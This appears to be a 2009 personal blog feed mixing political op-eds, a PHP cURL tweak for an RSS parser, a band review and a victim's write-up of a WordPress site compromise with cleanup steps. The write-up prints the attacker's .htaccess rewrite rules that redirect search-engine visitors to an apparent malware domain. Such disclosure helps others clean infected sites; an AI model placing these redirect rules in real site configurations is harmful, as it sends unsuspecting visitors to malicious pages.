Kyle Brady: Blog » Kyle Brady

Education Is Not A Budget Solution [OpEd]

Kyle Brady — Fri, 20 Nov 2009 08:05:35 +0000

The California Legislature has become infamous for its inability to pass timely legislation or manage a budget, regardless of deficits or surpluses, and they have recently been using the legislative magic bullet to solve their budget woes: the public education system.

Whenever states have budgetary issues, they turn to cutting expenses they see as needless rather than handling the issue appropriately, or even cutting their own salaries and benefits – raising taxes on rich corporations that jump through loopholes to be tax-free is never an option, of course, and neither is substantially taxing individuals who receive exorbitant compensation. The solution six months ago for California was to cut funding for the UC, CSU, and CCC state higher education system, which resulted in higher tuition while reducing class sizes, enforcing mandatory faculty furlough days, and cutting funding to related programs. This, they believe, was a good decision that would benefit all of California, and they’ve done it again, with a possible 32% increase in tuition with admission denied to younger students and a continuation of the “higher price, lower quality” policy.

This, quite simply, is idiotic.

America’s public school system has become something of a joke, where reading is a difficult task and remedial math is the pinnacle of most students’ academic careers – cutting budgets to an already underfunded, understaffed, drowning-in-problems system is not going to help it improve. The rhetoric in Congress, as well as from President Obama, is that education is fundamental to the nation’s future and in regaining status as the most brilliant and scientifically-minded in the world. President Obama, in fact, has emphasized the importance of true higher education, rather than handing out degrees to those that bothered to attend class.

An understanding that education is important is helpful, until the political leaders decide that education is not important enough to be worthy of proper funding. This is a problem nationwide, and it must be stopped. Granted, the tuition increases for a California state school may seem low, even with an increase, but this system provides for those that are not financially well-off enough to be able to afford the Ivy League education many may wish for. Furthermore, decreased class offerings and furlough days not only detract from the quality of the education paid for, but make a student’s graduation significantly more difficult, often extending the time needed to graduate, which, by its very nature, puts further strains on an already strained system.

Politicians need to understand a basic, fundamental truth: America will not prosper as a nation with a pitiable sixth-grade reading level that can barely do algebra, let alone understand the principles of calculus or understand philosophical ideologies. Yet this is where the future seems to lie, as educational funding has been in a downward spiral for some time with an additional, and worrying, de-emphasis of outside-the-classroom learning by many modern parents. Those who cannot read cannot think for themselves, thereby becoming political and economic sheep – the precursors of which are already being seen.

Budgets are understandably constricted at times, but funding should be increased, rather than decreased, for education, regardless of the effect it may have on other sectors. Corporations can afford to pay higher taxes, especially in the current climate of tax-free companies, and exorbitant salaries, benefits, and programs can be either cut entirely or downsized. Politicians should not a rich lifestyle make, and yet this is often found to be false.

As if President Obama didn’t have enough issues to address in the first quarter of his first term, education must be quickly added to the slate. Rhetoric is simply not enough, and action must be taken – federal-level legislation to assist in the funding of the nation’s education, as well as a mandate that educational budgets may not be downsized, would be a decent start.

lastRSS Modified For cURL Use [Self]

Kyle Brady — Tue, 17 Nov 2009 18:12:31 +0000

I recently had to use lastRSS for a project to parse some RSS feeds using PHP, and my server was being cranky about using fopen() to access URLs - despite being overridden to allow it.

So I decided to sidestep the issue and rewrite the file acquisition portion of lastRSS to use cURL instead of fopen, and here it is.

The changes are in the Parse() function:

function Parse ($rss_url) {
// Open and load RSS file
// now uses cURL instead of fopen() -- Kyle Brady [http://www.kyle-brady.com]

$ch = curl_init();

if ($ch !== false) {
curl_setopt($ch, CURLOPT_URL, $rss_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$rss_content = curl_exec($ch);
curl_close($ch);

Enjoy.

Time To Leave George Bush Alone [OpEd]

Kyle Brady — Tue, 17 Nov 2009 09:42:48 +0000

George W. Bush was not the best President the United States has ever had.

Regardless of individual political stance, or even opinion on the current Obama Administration, this is a generally accepted fact – what varies is whether former President George W. Bush was a “failure”, “success”, or just average. Once again, however, political opinions on the validity or incompetence of Bush’s Presidency are not important, because what’s occurring around his Terms of Office, right now, that is.

Without the September 11th attacks, Bush would have arguably just been a generic President that wasn’t remembered for being particularly great or horrible, similar to historically unrecognizable names such as Martin van Buren, Millard Fillmore, or Benjamin Harrison, and without any significant policy impact. For the substantially worse, however, the 9/11 events did occur, and they changed America forever. Following the events of September 2001, George W. Bush morphed from a amicable Texas man into a policy hardliner that wished to bring severe pain to those that had attacked the nation – and some that hadn’t.

Over the following years, and two Terms of Office, Bush’s legacy swung unpredictably from success to disaster, and back again, on an almost daily basis, resulting in the Iraq and Afghanistan wars, unstable situations in both North Korea and Iran, and domestic policies that would lead to both scientific regression and economic collapse. Inevitably, accusations of torture arose during and after the Administration, with regards to those held at Guantanamo Bay and elsewhere, specifically focusing on waterboarding.

In the months since President Obama’s ascendancy to the White House, liberals throughout America, and many people in the world at large, have called for high-level investigations into the former President, Vice President, Secretary of State, and Secretary of Defense for their alleged involvement in torture, with the accusers’ intentions to find them guilty in a sympathetic court. This, however, simply cannot happen.

The investigations of both Nixon and Clinton were devastating to the United States and its people, tarnishing the world’s perspective of the country and dividing that nation into vicious politics, and yet neither of them were accused with such heavy-hearted allegations as would Bush. America’s image has vastly improved as President Obama has worked to reestablish a formidable presence on the world stage, and trials for war crimes of a former President barely out of office would likely erase any progress that has been made. Even more important, however, is that prosecuting George W. Bush for said accusations would set a dangerous precedent that would likely result in a greater Presidential disinterest to act as they feel is necessary, not to mention indicate to the world that the country is willing to submit to the political whims of those outside its borders.

Modern politics, the Age of Obama, does not need any additional help to divide the nation or bring out the worst in American citizens – fringe Republicans and FOX “News” have done enough damage. Now is a time to look forward, and push onward, rather than dwell on the intellectual and ethical Dark Ages that recent history may very well have been. As healthcare reform, economic recovery, financial sector regulation, and numerous other issues hold the attention of both the President and Congress, the United States seems to be heading in the direction of progress and self-improvement, despite the massive effort and time investments apparently necessary to accomplish these goals.

Former President George W. Bush is just that – a former President. As a man from Texas that’s not known for his eloquence or brilliance, he managed to change the country over his eight-year reign in a way that hasn’t been seen for decades, but it’s time to let him fade into the political ether as is only inevitable. The media, liberals, and high-minded individuals nationwide must relinquish the idea of prosecuting the previous Administration for alleged crimes, and understand that it’s in the best interest of both the country and the world to leave George Bush alone.

A List of Reasons Why Google Isn’t Evil [Expose]

Kyle Brady — Mon, 16 Nov 2009 08:10:41 +0000

There's been alot of talk recently about Google "being evil", because they have their hands in so many product arenas and have access to substantial amounts of user data, so it's time that someone pointed out why Google isn't "evil" or even becoming so.

First, look at it from Google’s perspective:

their main interest is indexing the largest amount of content possible, and doing it fast so the content’s relevant

the majority of the modern internet, everything from server to browser to protocols, is at least ten years old at the core

Google’s results are only as good as their relevance and are sorted properly, so they have a vested interest in attempting to do so

Now, look at their behaviors:

“Webmaster Tools” was arguably the first attempt by Google to make things faster/better on their own, by allowing webmasters to help Google better access sites

Chrome takes marketshare away from Internet Explorer, which is beneficial to all mankind

Javascript engine developments, like those found in Chrome, are a good thing – especially when they’re spread back to the community. JS is notoriously slow in some browsers, and even in the fastest of them can still be sluggish

the HTML standards have been bogged down in meetings for years, and have achieved next to nothing – so Google’s begun pushing things like , rather than wait for the W3C, who could take many more years to produce the same results

Google has contributed highly to languages like Python, PHP, and MySQL because of their intense usage of them – creating a language entirely is only a half step away from helping optimize pre-existing languages

wanting to augment the HTTP protocol, and presumably make it backwards compatible, is a good goal: HTTP is pretty slow at times, especially over things like 3G wireless networks. If it can be expanded to do more, or do things better, this benefits everyone

In case this isn’t easily pieced all together, here’s the gist: Google may be doing lots of things out of semi-self-interest, but people need to remember that they’re not only doing these things in the open, they’re licensing many (most? all?) of these projects so that Google isn't in total control. A new language that could be used to rewrite/replace Apache, in combination with a new web protocol, may seem dubious, but once you consider their licensing it's not.

The comparison to Microsoft and other “monopolies” is easy to refute: Microsoft participated in similar activities (IE, ActiveX, VB.Net, Windows Server, etc.), but did so either behind closed doors or with strict, proprietary licensing. The fact that Google’s opening the door to Go in the same manner that PHP or Python does is an extremely crucial differentiation, and they’re very careful about doing this for all of their potentially gamechanging structure inventions.

Now if Google were to do all of this but not distribute source code, or sue a bunch of people for using it in a way they didn’t expect or don’t appreciate, that would be entirely different. But they’re not, and they’re not likely to either – even if they don’t have control over creations like Go, they’ll be happy to see it used because, in the end, it benefits them too.

Most of Google's products can't be forced on people – they have to choose to use them, something that Microsoft’s products have never really needed, or chosen, to do.

[inspired by Rob Diana]

“The Epic Wordpress + MediaTemple Failure” [Self]

Kyle Brady — Sun, 15 Nov 2009 21:57:46 +0000

New column at the Inquisitr:

If there’s a security issue floating around, you’d imagine that those behind the problem would be extremely interested in fixing it as soon as possible… right? Well, apparently not.

Go check it out.

On Not Tolerating Intolerance [OpEd]

Kyle Brady — Thu, 12 Nov 2009 08:05:58 +0000

The last few months in America have illuminated a large and worrisome bias like never before: citizens must respect the beliefs, lifestyles, opinions, and behaviors of others, so long as they’re legal – except when those same citizens have exclusionary beliefs that apparently allow them to criticize, condemn, vilify, smear, and generally ruin the lives or happiness of others.

This is not a law passed by Congress nor is it an Executive Order – it can’t even be found in the Constitution. The perplexing mix of “don’t criticize me, but I’ll criticize you” is based on a severe misinterpretation of a small part of the Constitution that has mutated over time into a weapon for these groups of people, most of whom have biases that can be traced to religious fundamentalism, racism, and other extremist perspectives that subjugate others for some benefit.

There is a line that divides tolerating another’s religion, political opinion, or personal beliefs, and tolerating intolerant behaviors – nowhere in modern, mainstream Christianity is there a provision that all other religions must be attacked and their people converted to a specific flavor of Christ followers, and yet this is what more and more fundamentalist Christians are coming to believe. Nowhere in any of the laws of the federal government does it state that a political party must follow the ideological whims of party leaders to the point of violence and chaos, and yet this is the behavior of the fringe-becoming-mainstream participants of the Republican Party.

These intolerant behaviors are either on a quick rise to prominence, or they are simply coming out of the dark depths, but the end result is the same: intolerance is becoming a core virtue for many Americans, and it is destroying society. In the case of the recent Fort Hood shooting, pundits were quick to jump to Islamic terrorism long before there was any public evidence to support this, simply on the premise of his name, and this is supposed to be acceptable? There is considerable media focus on the murders and destruction that those of Islamic belief create, and an extreme ignorance of the same behaviors from a more widespread religion inside America – where are the cries of religious fundamentalism when all-too-human doctors are murdered by Christians?

The tolerance of intolerance is reaching a critical breaking point, and the country, as a whole, must come to realize this. The situation is so advanced that the blatant lies and fear mongering that are spread by the likes of Bill O’Reilly, Glenn Beck, Sarah Palin, and Rush Limbaugh are often treated as truth by legitimate networks, such as CNN, and this needlessly spreads their message to others. Congressional Republicans have acted on a campaign of negation and delay, using lies and misinformation to their own benefit, ever since President Obama’s arrival in the White House, and this is accepted as normal politics by many, trickling down to the polarized citizens who mimic such behaviors in their own daily lives.

All of this has resulted in banning gay marriage by referendum in state after state, a highly vicious and partisan political atmosphere, the rise of Creationism as a supposedly legitimate counter-theory to Evolution, the justification of a newfound and spreading racism, continued rash and negligent behaviors by the very banks that almost destroyed the interconnected globe, and considerably more. If America continues on its current path of tolerating intolerance, the next decade will see both civilian and military disaster on a scale unprecedented – Civil Rights laws were enacted for a reason, and yet some fundamental rights, or even common courtesies, are continually denied to some citizens.

The solution is clear: news networks must immediately cease reporting falsehoods of any kind, all forms of religion must be once again distinctly separated from the state in every fashion, and the political leaders of the country must rise to the occasion and enact legitimate consequences for those who do not follow the basic principles of sanity and legitimate tolerance. To fail to do so, soon, will result in an ever-deteriorating climate that will inevitably, truly tear the country apart.

“Let’s Stop The Nonsense, OK?” [Self]

Kyle Brady — Mon, 09 Nov 2009 08:10:36 +0000

New column at the Inquisitr:

If you’re one of the people that goes insane and hyper-joyous over things like Twitter Lists, you need to seek medical help – these “features”, used in the loosest sense of the software term, are not something to get overly excited about.

Go check it out.

Healthcare Has a Glimmer of Hope [OpEd]

Kyle Brady — Mon, 09 Nov 2009 08:05:56 +0000

On Saturday night, the 7th of November 2009, a moment that is being called “historic” by some passed by without much notice to the general American population until Sunday: the healthcare reform bill was voted on, and passed, in the House of Representatives. Not in a committee or in some pre-approval vote-to-vote fashion, but the actual, legitimate bill.

This is mostly good news for the country and the issue of healthcare reform, as half of Congress has now definitively taken a stance on the issues at hand, but the battle is far from over: the Senate must vote on their own version of a healthcare bill, and there will likely be even more time spent afterward wrangling a single bill out of the two for the President to sign into law. However, the fact that the House of Representatives took a vote now is indicative of their intent, since the Senate Majority Leader has only recently stated a vote in the Senate could possibly occur after the start of 2010 – this is the House giving impetus to their slower-moving legislative counterparts.

The vote was broadcast on C-SPAN some time around 11pm PST, repackaged for CNN and other major infotainment stations, and the fifteen-minute process delivered some interesting information to the viewers: the ability to watch how long it took 30-or-so Democratic Representatives to decide where they stand was an astounding display of political dithering. Additionally, Republicans, barely after the start of the vote, had almost unanimously voted against the bill, but a lone Republican, Anh "Joseph" Cao, eventually voted in its favor, even as 39 Democrats displayed where their true loyalties lay.

Displays such as this by the Republican Party show that they truly are, at least at the representation level, the “Party of ‘No’”, their previous procedural attempts to block the vote completely notwithstanding. Despite a serious number of concessions that raise grave concerns about the legitimate impact of the bill, such as a removal of support for abortions via public option, did not seem to have any effect on how the GOP House Representatives voted – what, then, was the purpose of attempting to negotiate with them? This is likely a preview of how the Senate’s vote will proceed, with a majority of its members voting along party lines and a small handful standing as the “deciding factors”.

The bill from the House is far from perfect, but it is a decent foundation and a definitive declaration of intent to the American people – it has very little chance of becoming actual law as it currently stands, but the tone has been set, and that is almost as important as the legislation itself. It is worrisome, however, that the last six months have been essentially wasted in argument, discussion, and propaganda, thanks, in large part, to the childlike and irrational oppositional display shown en masse.

It’s important to note that the Democrats who voted for the bill were not in favor of all its amendments and provisions, but rather in support of a majority of them and the ideological force behind the bill. Republicans would have done better to vote more fluidly in this nature, with public statements on their likes/dislikes, but, at this point, such behavior cannot be expected from the party that is collapsing on itself.

The Senate must now make a push for their version of the bill to be voted on within the very near future, lest this process be extended any further than necessary without any gains, most especially since those in opposition have proven they are not interested in having their vote being swayed – Olympia Snowe does not matter. Leaving this piece of legislation to linger in the Senate past the New Year would be a crushing blow to progress, as the first few months of the year are always dedicated to financing the government and other administrative deeds. The strategy during the Clinton Administration was for the Republicans to delay until an election year, where Congressmen would be more careful of how they vote, and their current not-so-secret scheming are exactly the same.

Healthcare reform, the public option included, now has a glimmer of hope, thanks to most of the House Democrats and Representative Cao. The fate of the bill now rests with the Senate, which the American people can only hope will make the ethically correct decision to deal with the health, state, and general welfare of the country sooner rather than later.

Wordpress, MediaTemple, and an Injection Attack [Expose]

Kyle Brady — Sun, 08 Nov 2009 00:04:45 +0000

[note: there have been significant updates on why this is occurring, but the solutions to it remain relatively the same for the moment]

Sometime in the last week, my “kyle-brady.com” account with MediaTemple was compromised via a Wordpress 2.8.5 exploit, and it caused havoc for a few days – I finally noticed it on the evening of 11/6/2009, and it was finally resolved in the afternoon of 11/7/2009.

Here’s what happened:

an IP address from Texas submitted a POST request to Wordpress that somehow uploaded a file, which extracted itself and injected a piece of Javascript eval() code to execute after the tag

a list of hundreds of URLs to assorted pages, mostly porn, appeared after the tag on all pages of the site

for content created after the attack, it somehow embedded itself inside the Wordpress content, and all links redirected to a malware site – in addition to breaking the entire page

Here’s how to fix it:

remove the eval() code from “index.php” in the root Wordpress directory

delete and recreate, through the Wordpress panel (NOT directly in the database), all infected posts

delete the .nfs* file in the root Wordpress directory

if you’re really paranoid, replace all the Wordpress files with clean source

open the root .htaccess file and remove this code

I originally thought that someone may have gained access to Wordpress, or the server itself, and modified some themes files or something Apache-level, but this obviously wasn’t the case. MediaTemple was essential in discovering both the problem and solution, even though it’s outside the realm of hosting – they’re the ones that discovered an IP in Texas made a POST request to upload a file, and they discovered exactly what was going on.

If MediaTemple had refused to help me, it would have been much more difficult to figure all of this out, since I’m not familiar enough with servers to easily run log searches, or other tools necessary for this sleuthing. But they didn’t, and one of the Support Technicians (Mike M.) actually spent a few hours in the middle of the night poking around for me, and called me at 4:30am PST with a definitive solution.

Wordpress Security has already been contacted about this issue, to hopefully help others avoid this issue in the future. Many thanks to MediaTemple, especially Mike M. and Chris K., for the unexpectedly awesome assistance.

--- --- ---

Update (11/8/2009 10:25pm PST): Thanks to Dan's discovery, the .htaccess editing has been included in the removal steps.

Update (11/12/2009 9:50pm PST): Evidence is mounting (in the comments below, the Wordpress bug ticket, and elsewhere) that while this may be a Wordpress exploit, it is appearing on other non-WP CMS installations, and may have a server-configuration component to it. Details to come.

Update (11/15/2009 1:30pm PST): MediaTemple has been ignoring me for the last few days on this issue, and I've just been hit by the same attack in the last few hours - this time on Wordpress 2.8.6, the security release that was supposed to fix this.

Update (11/15/2009 2:10pm PST): I've decided to escalate this, and wrote about it at the Inquisitr.

Update (11/16/2009 12:30pm PST): I got a length, personal email from MediaTemple yesterday, and a long phone call today about this issue - I can't say alot right now, but MediaTemple is taking ownership of this problem, and is working on it. Details to come soon.

--- --- ---

More details:

Uploaded File

named “.nfs*” in the root Wordpress directory

/**
* Front to the WordPress application. This file doesn't do anything, but loads
* wp-blog-header.php which does and tells WordPress to load the theme.
*
* @package WordPress
*/

/**
* Tells WordPress to load the WordPress theme and output it.
*
* @var bool
*/
define('WP_USE_THEMES', true);

/** Loads the WordPress Environment and Template */
require('./wp-blog-header.php');
?>

Javascript Eval Code

found in “index.php” in the root Wordpress directory

Example Link

found after the tag on all pages, list of hundreds of similar URLs

blow dryer tattoo

.htaccess Code

found in the root ".htaccess file"

RewriteEngine On

RewriteOptions inherit

RewriteCond %{HTTP_REFERER} .*images.google.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*live.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]

RewriteCond %{HTTP_REFERER} .*images.search.yahoo.*$ [NC]

RewriteRule .* http://you-search.in/in.cgi?4¶meter=sf [R,L]

For All Their Lives [Metal Band of the Week]

Kyle Brady — Sat, 07 Nov 2009 08:05:53 +0000

While not strictly metal, For All Their Lives is a band that lives on the borders and is worth mentioning, thanks to their sound and distinct showing of promise. This five-piece out of the northern Gulf Coast of Florida is a compelling fusion of post-hardcore, a less-annoying brand of emocore, and progressive hardcore, which sounds as if it might be an unruly mess of noise – except that it isn’t.

For most bands with only a two-song catalog to cherry-pick, it’s difficult to find distinctive themes throughout their work, but For All Their Lives’ musical influences and heroes make themselves extremely evident, at least within the shadowy boundaries of the metal community: Saosin, Misery Signals, Bless The Fall, and other similar bands that prefer to blend their genre constraints. Perhaps this is why their band image is what some would consider decidedly “unmetal”, but the v-neck t-shirts and slightly-messy, short-length hair can be found in those which they are channeling.

The use of both harsh vocals and higher-pitched, borderline emo singing creates a dichotomy that works surprisingly well, allowing the musical vibe to be rhythmic, uplifting, and, at times, groove-worthy. Additionally, the choice of guitar techniques and sound follow similar patterns that switch between heavily distorted breakdowns and faster-paced, melodic-riff choruses that enhance the vocal techniques to greater effect.

Great potential lies with For All Their Lives as a genre-fusion band on the very edges of metal, and they may end up effecting the same genres of which they span – only time will tell.

For All Their Lives can be found on MySpace, along with their two-song catalog.